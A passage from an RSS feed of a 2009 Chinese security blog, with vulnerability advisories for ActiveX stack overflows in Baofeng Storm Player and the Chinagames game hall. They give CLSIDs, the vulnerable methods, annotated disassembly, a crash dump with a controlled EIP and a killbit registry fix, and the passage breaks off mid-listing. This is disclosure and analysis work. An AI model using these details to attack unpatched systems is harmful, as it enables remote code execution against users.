<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/100">2009年05月2日</a>, <a href='http://www.windowsxp-vista.cn/?p=32' rel='external nofollow' class='url'>暴风影音被报告存在0day安全漏洞 | windows xp vista windows7</a> writes: [...] 感谢匿名人士的投递 国内安全研究者在5月1号凌晨公布了暴风影音的两个ActiveX远程溢出漏洞(link1,link2)。当安装了暴风影音的用户在浏览黑客精心构造的 包含恶意代码的网页后，可能会导致系统遭受到黑客的攻击。现在在著名exploit网站milw0rm上已经出现了相应的漏洞利用程序。 [...]</li><li><a href="http://www.softrce.net/archives/100">2009年05月2日</a>, <a href='http://blog.24reader.com/vincentlam/2009/05/02/%e6%9a%b4%e9%a3%8e%e5%bd%b1%e9%9f%b3%e8%a2%ab%e6%8a%a5%e5%91%8a%e5%ad%98%e5%9c%a80day%e5%ae%89%e5%85%a8%e6%bc%8f%e6%b4%9e/' rel='external nofollow' class='url'>暴风影音被报告存在0day安全漏洞 於囧</a> writes: [...] 感谢匿名人士的投递 国内安全研究者在5月1号凌晨公布了暴风影音的两个ActiveX远程溢出漏洞(link1,link2)。当安装了暴风影音的用户在浏览黑客精心构造的 包含恶意代码的网页后，可能会导致系统遭受到黑客的攻击。现在在著名exploit网站milw0rm上已经出现了相应的漏洞利用程序。 [...]</li><li><a href="http://www.softrce.net/archives/100">2009年09月24日</a>, <a href='http://blog.duba.net/post/baofengyingyin2009beibaoxin0dayanquanloudongjinshanwangdunwanmeilanjie2009-5-3gengxin.php' rel='external nofollow' class='url'>暴风影音2009被爆新0day安全漏洞,金山网盾完美拦截（2009-5-3更新） &laquo; 金山毒霸官方博客|Kingsoft Internet Security Blog</a> writes: [...] 或者直接双击运行导入fix_baofeng_0day.reg参考：暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞BaoFeng (mps.dll) Remote Code Execution Exploit   标签：0-day, config.dll, mps.dll, 暴风  评论 (4) , 阅读 (2285) [...]</li><li><a href="http://www.softrce.net/archives/100">2011年03月22日</a>, imbadyc writes: lz是四川人？</li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">相关阅读</h3><ul class="related_post"><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/96" title="暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞">暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</a></li><li>2009年04月30日 -- <a href="http://www.softrce.net/archives/83" title="中国游戏中心游戏大厅ActiveX远程栈溢出漏洞">中国游戏中心游戏大厅ActiveX远程栈溢出漏洞</a></li><li>2010年04月21日 -- <a href="http://www.softrce.net/archives/302" title="WinMount mou文件格式溢出漏洞分析">WinMount mou文件格式溢出漏洞分析</a></li><li>2009年05月15日 -- <a href="http://www.softrce.net/archives/136" title="ActiveX 控件组件的Fuzz和利用">ActiveX 控件组件的Fuzz和利用</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/100/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</title>
		<link>http://www.softrce.net/archives/96</link>
		<comments>http://www.softrce.net/archives/96#comments</comments>
		<pubDate>Thu, 30 Apr 2009 22:15:51 +0000</pubDate>
		<dc:creator>bugvuln</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>
		<category><![CDATA[ActiveX]]></category>
		<category><![CDATA[漏洞分析]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=96</guid>
		<description><![CDATA[暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞 by bugvuln(bugvuln_at_gmail.com)    niklen(niklenxyz_at_gmail.com) 描述: 暴风影音是国内一款相当流行的万能播放器 http://www.baofeng.com/ 受影响的系统: 暴风影音2009 &#60;=[3.09.04.17] 细节: clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB C:\Program Files\StormII\mps.dll Sub OnBeforeVideoDownload(ByVal URL  As String) 当参数URL是一个超长字符串时，发生栈溢出，利用堆填充技术，攻击者可以很轻松的利用此漏洞执行任意代码 分析: sub_10014240    &#124;&#8211;.text:1001430A  call    sub_10014D40    &#124;&#8211;sub_10014D40          &#124;&#8211;.text:10014E37   call    dword ptr [eax+8] ; sub_1005DAF0          &#124;&#8211;sub_1005DAF0                &#124;&#8211;.text:1005DBA1  call    dword ptr [edx+4] ; sub_1005EB50                &#124;&#8211;sub_1005EB50        &#124;&#8211;.text:1005EB9A  call    sub_10060320                      &#124;&#8211;sub_10060320 [...]]]></description>
			<content:encoded><![CDATA[<p>暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞<br />
by bugvuln(bugvuln_at_gmail.com)<br />
   niklen(niklenxyz_at_gmail.com)</p>
<p>描述:<br />
暴风影音是国内一款相当流行的万能播放器<br />
<a href="http://www.baofeng.com/">http://www.baofeng.com/</a></p>
<p>受影响的系统:<br />
暴风影音2009 &lt;=[3.09.04.17]</p>
<p>细节:<span id="more-96"></span><br />
clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB<br />
C:\Program Files\StormII\mps.dll<br />
Sub OnBeforeVideoDownload(ByVal URL  As String)</p>
<p>当参数URL是一个超长字符串时，发生栈溢出，利用堆填充技术，攻击者可以很轻松的利用此漏洞执行任意代码</p>
<p>分析:</p>
<blockquote><p>sub_10014240<br />
   |&#8211;.text:1001430A  call    sub_10014D40<br />
   |&#8211;sub_10014D40<br />
         |&#8211;.text:10014E37   call    dword ptr [eax+8] ; sub_1005DAF0<br />
         |&#8211;sub_1005DAF0<br />
               |&#8211;.text:1005DBA1  call    dword ptr [edx+4] ; sub_1005EB50<br />
               |&#8211;sub_1005EB50<br />
       |&#8211;.text:1005EB9A  call    sub_10060320<br />
                     |&#8211;sub_10060320<br />
                           |&#8211;.text:1006033C    call    ds:lstrcpynA<br />
                     |     add     esp, 1348h<br />
                     |&#8211;{ retn  14h</p></blockquote>
<p>&#8230;</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p96code4'); return false;">View Code</a> ASM</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p964"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
</pre></td><td class="code" id="p96code4"><pre class="asm" style="font-family:monospace;"><span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB6F                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">ebp</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB70                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">esi</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB71                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">esi</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">1350h</span><span style="color: #339933;">+</span>lpString2<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB78                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">edi</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB79                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #000000; font-weight: bold;">offset</span> aStormbox_0 <span style="color: #666666; font-style: italic;">; &quot;stormbox&quot;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB7E                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">ebp</span><span style="color: #339933;">,</span> <span style="color: #00007f;">ecx</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB80                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">esi</span>             <span style="color: #666666; font-style: italic;">; Str</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB81                 <span style="color: #00007f; font-weight: bold;">call</span>    <span style="color: #00007f;">ds</span><span style="color: #339933;">:</span>strstr       <span style="color: #666666; font-style: italic;">;检查下传递进来的参数是否含有&quot;stormbox&quot;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB87                 <span style="color: #00007f; font-weight: bold;">add</span>     <span style="color: #00007f;">esp</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">8</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB8A                 <span style="color: #00007f; font-weight: bold;">test</span>    <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB8C                 <span style="color: #00007f; font-weight: bold;">jnz</span>     loc_1005ED67    <span style="color: #666666; font-style: italic;">;没有！那就xxoo了</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB92                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">esi</span>             <span style="color: #666666; font-style: italic;">; lpString2</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB93                 <span style="color: #00007f; font-weight: bold;">lea</span>     <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">1358h</span><span style="color: #339933;">+</span>var_1034<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB9A                 <span style="color: #00007f; font-weight: bold;">call</span>    sub_10060320
<span style="color: #339933;">...</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060320</span>                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">esi</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060321</span>                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">edi</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060322</span>                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">edi</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">8</span><span style="color: #339933;">+</span>lpString2<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060326</span>                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">esi</span><span style="color: #339933;">,</span> <span style="color: #00007f;">ecx</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060328</span>                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">edi</span>             <span style="color: #666666; font-style: italic;">; lpString</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060329</span>                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #000000; font-weight: bold;">dword</span> <span style="color: #000000; font-weight: bold;">ptr</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esi</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000000; font-weight: bold;">offset</span> off_1007C5A4
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">1006032F</span>                 <span style="color: #00007f; font-weight: bold;">call</span>    <span style="color: #00007f;">ds</span><span style="color: #339933;">:</span>lstrlenA
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060335</span>                 <span style="color: #00007f; font-weight: bold;">inc</span>     <span style="color: #00007f;">eax</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060336</span>                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">eax</span>             <span style="color: #666666; font-style: italic;">; iMaxLength,唉，上面这是最后一次调用函数来进行长度检查，但是这里仅仅是为了这个最大值参数，</span>
             <span style="color: #666666; font-style: italic;">; 还是没有考虑合法性-_-</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060337</span>                 <span style="color: #00007f; font-weight: bold;">lea</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esi</span><span style="color: #339933;">+</span><span style="color: #0000ff;">4</span><span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1006033A                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">edi</span>             <span style="color: #666666; font-style: italic;">; lpString2</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1006033B                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">eax</span>             <span style="color: #666666; font-style: italic;">; lpString1</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1006033C                 <span style="color: #00007f; font-weight: bold;">call</span>    <span style="color: #00007f;">ds</span><span style="color: #339933;">:</span>lstrcpynA    <span style="color: #666666; font-style: italic;">; 拷贝到eax指向的堆栈区域，为即将到来的溢出做热身运动</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060342</span>                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #00007f;">esi</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060344</span>                 <span style="color: #00007f; font-weight: bold;">pop</span>     <span style="color: #00007f;">edi</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060345</span>                 <span style="color: #00007f; font-weight: bold;">pop</span>     <span style="color: #00007f;">esi</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060346</span>                 <span style="color: #00007f; font-weight: bold;">retn</span>    <span style="color: #0000ff;">4</span>
<span style="color: #339933;">...</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005ED70                 <span style="color: #00007f; font-weight: bold;">pop</span>     <span style="color: #00007f;">edi</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005ED71                 <span style="color: #00007f; font-weight: bold;">pop</span>     <span style="color: #00007f;">esi</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005ED72                 <span style="color: #00007f; font-weight: bold;">pop</span>     <span style="color: #00007f;">ebp</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005ED73                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #000000; font-weight: bold;">large</span> <span style="color: #00007f;">fs</span><span style="color: #339933;">:</span><span style="color: #0000ff;">0</span><span style="color: #339933;">,</span> <span style="color: #00007f;">ecx</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005ED7A                 <span style="color: #00007f; font-weight: bold;">add</span>     <span style="color: #00007f;">esp</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">1348h</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005ED80                 <span style="color: #00007f; font-weight: bold;">retn</span>    <span style="color: #0000ff;">14h</span>        <span style="color: #666666; font-style: italic;">; 就这样返回，哦豁了</span></pre></td></tr></table></div>

<p> <br />
ModLoad: 41f50000 41fc7000   C:\WINDOWS\system32\mshtmled.dll<br />
ModLoad: 10000000 100e2000   C:\Program Files\StormII\mps.dll<br />
ModLoad: 75ff0000 76055000   C:\Program Files\StormII\MSVCP60.dll<br />
ModLoad: 02c60000 02c96000   C:\Program Files\StormII\meedb.dll<br />
ModLoad: 02ca0000 02d2e000   C:\Program Files\StormII\splayers.dll<br />
ModLoad: 02730000 0274e000   C:\Program Files\StormII\rndrmgr.dll<br />
ModLoad: 02d30000 02e48000   C:\Program Files\StormII\SubDecoder.dll<br />
ModLoad: 4b640000 4b7e6000   C:\WINDOWS\system32\d3d9.dll<br />
ModLoad: 6dd20000 6dd26000   C:\WINDOWS\system32\d3d8thk.dll<br />
ModLoad: 736d0000 73719000   C:\WINDOWS\system32\DDRAW.dll<br />
ModLoad: 73b30000 73b36000   C:\WINDOWS\system32\DCIMAN32.dll<br />
ModLoad: 74be0000 74c0c000   C:\WINDOWS\system32\OLEACC.dll<br />
ModLoad: 72f70000 72f96000   C:\WINDOWS\system32\WINSPOOL.DRV<br />
ModLoad: 76320000 76367000   C:\WINDOWS\system32\COMDLG32.dll<br />
ModLoad: 02eb0000 02ed2000   C:\Program Files\StormII\mediainfo.dll<br />
ModLoad: 719c0000 719fe000   C:\WINDOWS\system32\mswsock.dll<br />
ModLoad: 60fd0000 61025000   C:\WINDOWS\system32\hnetcfg.dll<br />
ModLoad: 71a00000 71a08000   C:\WINDOWS\System32\wshtcpip.dll<br />
ModLoad: 7cf70000 7d0d8000   C:\WINDOWS\system32\quartz.dll<br />
ModLoad: 63380000 633f8000   C:\WINDOWS\system32\jscript.dll<br />
(a0.8b0): Access violation &#8211; code c0000005 (first chance)<br />
First chance exceptions are reported before any exception handling.<br />
This exception may be expected and handled.<br />
eax=ffffff00 ebx=01b3f33c ecx=41414141 edx=00142f90 esi=01b3f328 edi=01b3f340<br />
eip=41414141 esp=0175f588 ebp=01b3f338 iopl=0         nv up ei pl nz ac po nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210212<br />
41414141 ??              ???<br />
解决办法:<br />
在厂商没有推出相应的补丁之前，<br />
建议用户通过注册表对相应的CLSID:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB设置Killbit<br />
或者将以下文本保存为.REG文件并导入:<br />
Windows Registry Editor Version 5.00</p>
<p>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB}]<br />
“Compatibility Flags”=dword:00000400</p>
<p>&#8211;EOF&#8211;</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/96">2009年09月24日</a>, <a href='http://blog.duba.net/post/baofengyingyin2009beibaoxin0dayanquanloudongjinshanwangdunwanmeilanjie2009-5-3gengxin.php' rel='external nofollow' class='url'>暴风影音2009被爆新0day安全漏洞,金山网盾完美拦截（2009-5-3更新） &laquo; 金山毒霸官方博客|Kingsoft Internet Security Blog</a> writes: [...] 或者直接双击运行导入fix_baofeng_0day.reg参考：暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞BaoFeng (mps.dll) Remote Code Execution Exploit   标签：0-day, config.dll, mps.dll, 暴风  评论 (4) , 阅读 (2285) [...]</li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">相关阅读</h3><ul class="related_post"><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/100" title="暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞">暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞</a></li><li>2009年04月30日 -- <a href="http://www.softrce.net/archives/83" title="中国游戏中心游戏大厅ActiveX远程栈溢出漏洞">中国游戏中心游戏大厅ActiveX远程栈溢出漏洞</a></li><li>2010年04月21日 -- <a href="http://www.softrce.net/archives/302" title="WinMount mou文件格式溢出漏洞分析">WinMount mou文件格式溢出漏洞分析</a></li><li>2009年05月15日 -- <a href="http://www.softrce.net/archives/136" title="ActiveX 控件组件的Fuzz和利用">ActiveX 控件组件的Fuzz和利用</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/96/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>中国游戏中心游戏大厅ActiveX远程栈溢出漏洞</title>
		<link>http://www.softrce.net/archives/83</link>
		<comments>http://www.softrce.net/archives/83#comments</comments>
		<pubDate>Thu, 30 Apr 2009 14:18:04 +0000</pubDate>
		<dc:creator>bugvuln</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>
		<category><![CDATA[ActiveX]]></category>
		<category><![CDATA[漏洞分析]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=83</guid>
		<description><![CDATA[中国游戏中心游戏大厅ActiveX远程栈溢出漏洞
by bugvuln(bugvuln_at_gmail.com)
      niklen(niklenxyz_at_gmail.com)

描述:
中国游戏中心是中国一款著名的游戏平台，含棋牌，网络游戏等
http://www.chinagames.net/

受影响的系统:
中国游戏中心游戏大厅2009

细节:
clsid:75108B29-202F-493C-86C5-1C182A485C4C
C:\Program Files\Chinagames\iGame\CGAgent.dll
Sub CreateChinagames (ByVal lpszToken  As String)

参数lpszToken是一个超长字符串时，发生栈溢出，利用堆填充技术，攻击者可以很轻松的利用此漏洞执行任意代码
]]></description>
			<content:encoded><![CDATA[<p>中国游戏中心游戏大厅ActiveX远程栈溢出漏洞<br />
by bugvuln(bugvuln_at_gmail.com)<br />
      niklen(niklenxyz_at_gmail.com)</p>
<p>描述:<br />
中国游戏中心是中国一款著名的游戏平台，含棋牌，网络游戏等<br />
<a href="http://www.chinagames.net/" target="_blank">http://www.chinagames.net/</a></p>
<p>受影响的系统:<br />
中国游戏中心游戏大厅2009<br />
<span id="more-83"></span><br />
细节:<br />
clsid:75108B29-202F-493C-86C5-1C182A485C4C<br />
C:\Program Files\Chinagames\iGame\CGAgent.dll<br />
Sub CreateChinagames (ByVal lpszToken  As String)</p>
<p>参数lpszToken是一个超长字符串时，发生栈溢出，利用堆填充技术，攻击者可以很轻松的利用此漏洞执行任意代码</p>
<p>分析:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p83code5'); return false;">View Code</a> ASM</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p835"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
</pre></td><td class="code" id="p83code5"><pre class="asm" style="font-family:monospace;"><span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10001234</span>                 <span style="color: #00007f; font-weight: bold;">cmp</span>     <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>lpString2<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #00007f;">esi</span> <span style="color: #666666; font-style: italic;">; 只判断了参数是否为空，但是没有判断长度-_-!!!</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10001237</span>                 <span style="color: #00007f; font-weight: bold;">jnz</span>     <span style="color: #000000; font-weight: bold;">short</span> loc_10001243
<span style="color: #339933;">...</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10001295</span>                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #000000; font-weight: bold;">offset</span> aIgame_exe <span style="color: #666666; font-style: italic;">; &quot;\\igame.exe &quot;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1000129A                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">eax</span>             <span style="color: #666666; font-style: italic;">; lpString1</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1000129B                 <span style="color: #00007f; font-weight: bold;">call</span>    <span style="color: #00007f;">edi</span> <span style="color: #666666; font-style: italic;">; lstrcatW</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1000129D                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>lpString2<span style="color: #009900; font-weight: bold;">&#93;</span> <span style="color: #666666; font-style: italic;">; lpString2</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012A0                 <span style="color: #00007f; font-weight: bold;">lea</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>String1<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012A6                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">eax</span>             <span style="color: #666666; font-style: italic;">; lpString1</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012A7                 <span style="color: #00007f; font-weight: bold;">call</span>    <span style="color: #00007f;">edi</span> <span style="color: #666666; font-style: italic;">; lstrcatW  ; 没有对传递给igame.exe的参数进行长度检查，直接连接，</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012A7                                         <span style="color: #666666; font-style: italic;">; 这下子，eax指向的堆栈区域都被非法参数给占领了-_-！</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012A7                                         <span style="color: #666666; font-style: italic;">;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012A9                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #0000ff;">44h</span>             <span style="color: #666666; font-style: italic;">; 结构体长度</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012AB                 <span style="color: #00007f; font-weight: bold;">lea</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>Dst<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012AE                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">esi</span>             <span style="color: #666666; font-style: italic;">; Val</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012AF                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">eax</span>             <span style="color: #666666; font-style: italic;">; Dst</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012B0                 <span style="color: #00007f; font-weight: bold;">call</span>    memset          <span style="color: #666666; font-style: italic;">; 为STARTUPINFO作准备</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012B5                 <span style="color: #00007f; font-weight: bold;">add</span>     <span style="color: #00007f;">esp</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0Ch</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012B8                 <span style="color: #00007f; font-weight: bold;">lea</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>ProcessInformation<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012BB                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>Dst<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">44h</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012C2                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">eax</span>             <span style="color: #666666; font-style: italic;">; lpProcessInformation</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012C3                 <span style="color: #00007f; font-weight: bold;">lea</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>Dst<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012C6                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">eax</span>             <span style="color: #666666; font-style: italic;">; lpStartupInfo</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012C7                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">esi</span>             <span style="color: #666666; font-style: italic;">; lpCurrentDirectory</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012C8                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">esi</span>             <span style="color: #666666; font-style: italic;">; lpEnvironment</span>
